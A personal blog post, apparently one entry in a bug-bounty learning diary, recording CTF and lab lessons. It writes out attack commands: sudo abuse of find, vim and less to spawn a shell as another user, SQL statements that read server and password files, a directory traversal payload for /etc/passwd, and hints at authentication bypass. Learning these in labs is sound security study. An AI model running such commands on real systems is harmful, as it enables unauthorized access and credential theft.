Bug Bounty Diaries #7 – Hacker101, SQL, Privesc & Dir. Traversal

This is a digest of things I have learned in Week #16 of 2020 on my journey of becoming a Bug Bounty Hunter. I just opened my notes and thought, f***! I have taken so many notes that past week. So, the sooner we get going the better. This is Part 7 of The Ethical Hacking Diaries!

Check this link to see all of the Ethical Hacking Diaries episodes!

https://www.youtube.com/watch?v=RRmM8KRDBPU

Hacker101 CTF

Below are things I have learned from playing Hacker101 CTF’s last week. I can’t recommend them enough.

Curl

Try changing request methods from GET to POST to try to bypass authentication, example:
Change
curl -X GET http://35.190.155.168/b07fd435fe/page/edit/2
to
curl -X POST http://35.190.155.168/b07fd435fe/page/edit/2
I had to use this particular command to get a Flag. I don’t fully understand it yet, I think they just made a point that you should test if you could change the request types.

Password Hash Types

Learned a bit of different password hash types and how to recognize them.

  • MD5 Hash: $1$
  • if the hash starts by $2$ or $2a$, Blowfish is used;
  • if the hash starts by $5$, SHA-256 is used;
  • if the hash starts by $6$, SHA-512 is used.
Top Things to After Installing Kali...
Top Things to After Installing Kali Linux in 2023

Pentesterlabs

Below you’ll find some stuff that I have learned while practicing on Pentesterlabs the past week. I went through a bunch of SQL exercises.

MySQL

Basic Commands
show databases;
use [DATABASE];
show tables;
select * from [TABLE];
MySQL Password File Location
/var/lib/mysql/mysql/user.MYD
The root password in this file is likely split into two parts:
localhost
root*8246FACFAA5BB9CFDCDEAEDA
6c732c6044b7
root
127.0.0.1
root
root
localhost
debian-sys-maint*7B6D59ECDB7B791CF100CA46D0AD911082112351
15DA4067EAA55FBC

The first part is *8246FACFAA5BB9CFDCDEAEDA and the second part is 15DA4067EAA55FBC (the value should be different on the live instance).
Once you put them together, you should get a file containing:
root:*8246FACFAA5BB9CFDCDEAEDA15DA4067EAA55FBC
You should then be able to crack the password using John (you will need the jumbo patch version of John) after you find the right format (by trial and error).
Reading Files out of MySQL
SELECT LOAD_FILE('/var/lib/mysql-files/key.txt') AS Result;

Postgresql

Basics
Start Postgresql Shell
psql
List Databases
\list
Select Database
\c [DATABASE]
List Tables
\d
Select User / Data from Table
SELECT * from users;
Reading System Files
CREATE TABLE demo(t text);
COPY demo from '[FILENAME]';
SELECT * FROM demo;
Clean up
DROP TABLE demo;

SQLite3

You can then access DB using:
sqlite3 [FILENAME]
Once you gain access to it, you can navigate the content using:
To get a list of tables
.tables
Show Data
SELECT * from users;

Puh, that was a lot of Database stuff! Let’s move on to something more exciting.

Privilege Escalation

I also learned a couple of things in regards to Privilege Escalation while doing some Pentesterlabs exercises. Most notably, exploiting sudo permissions to read/modify files from other users. I’ll walk you through a couple of them.

In regards to Privilege Escalation, make sure to check out GTFOBins. I will show you more about GTFOBins in the accompanying video on YouTube.

Below I show you a couple of possibilities on how to exploit sudo permissions to execute stuff as sudo with the low-priv user.

To find out which commands a user can run as sudo, you can check this by typing:

sudo -l

 

Example 1: User has sudo access to the find command

User has sudo permissions for /usr/bin/find

sudo -u victim find /home/victim -name key.txt

This allows you to find files, specifically the key.txt file of the victim using his sudo permissions.

Now we can also read the contents of the key.txt file

sudo -u victim find /home/victim -name key.txt -exec cat {} \;

Or even better, get a shell as the victim:

sudo -u victim find /home/victim -name key.txt -exec bash \;

Below are a couple of other permissions we could utilize to escalate privileges. Those are my mostly raw notes:

Example 2: User has sudo access to the vim command
If user can run Vim as sudo
To read files
sudo -u victim vim /home/victim/key.txt
To execute /bin/bash as victim
sudo -u victim vim
:!/bin/bash
Example 3: User has sudo access to the less command
If user can run Less as sudo
To read a file
sudo -u victim less /victim/home/key.txt
To execute /bin/bash as victim, open a file we have access to:
sudo -u victim less /victim/home/key.txt
Then
:!/bin/bash

This should give you a good idea of what the possibilities are in regards to Privilege Escalation. Hint: There are about 3 million more. All credits go to Pentesterlabs.

Portswigger Labs

I have learned a fair bit on Directory Traversal over at the awesome Labs of Portswigger Academy. All the information provided here comes with credit to Portswigger.

Directory Traversal

Directory Traversal can be used to access or modify files on a Webserver. Let’s say you have an image that is referred to by filename=218.png or something like this:

<img src="/loadImage?filename=218.png">

This loadImage URL takes in the filename parameter and returns the content of it. Obviously the image itself is stored somewhere in /var/www/images on the backend. That means, the application actually reads from this path:

/var/www/images/218.png

Because this particular app does not have any defenses against Directory Traversal, we can access other files on the server by modifying the URL path like so:

https://insecure-website.com/loadImage?filename=../../../etc/passwd

Which executes the following path on the backend:

/var/www/images/../../../etc/passwd

Hence, we can read the passwd file!

I found this exercise super interesting and I will test for that kind of thing every time from now on.

Cookies

As the final piece of this weeks blog, I learned something more about cookies, unfortunately, I do not recall where I learned it from, but here it is:

If you get the same session ID multiple times when logging in and out, there is a problem. If you log in from a cleaned-up browser, you should never get the same session ID twice! It’s worth checking which hash the Cookie ID uses in this case and then try to create a hash for the Admin user to bypass authentication.

Conclusion Week #16

As you can see, there were lots of things to be learned in Week #16. I enjoy the process a lot, I also enjoy sharing the progress in this Blog. You can see that there is so much to learn out there, it’s hard to keep it at times 🙂 See you back here next week for Week #17!

Leave a Comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Share via
Copy link
Powered by Social Snap